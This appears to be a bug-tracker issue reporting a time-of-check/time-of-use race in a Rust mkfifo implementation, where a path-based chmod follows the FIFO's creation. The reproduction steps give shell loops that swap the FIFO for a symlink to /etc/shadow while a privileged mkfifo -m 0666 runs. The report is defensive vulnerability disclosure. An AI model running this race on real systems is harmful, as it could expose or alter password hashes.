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mkfifo TOCTOU race via path-based chmod

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#10,020 opened on 2026年1月3日

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説明

Component

mkfifo

Description

mkfifo creates a FIFO and then unconditionally performs a path-based chmod via std::fs::set_permissions.

Between these operations, an attacker with write access to the containing directory can replace the FIFO with a symlink.

Additionally, for the default case (no -m flag), the chmod is redundant as the kernel already applies umask during creation.

Test / Reproduction Steps

# Terminal 1 (attacker, racing the chmod):
while true; do
  rm -f /tmp/fifo; ln -s /etc/shadow /tmp/fifo
done

# Terminal 2 (victim with privileges):
while true; do
  rm -f /tmp/fifo; mkfifo -m 0666 /tmp/fifo
done

# Check if /etc/shadow permissions changed

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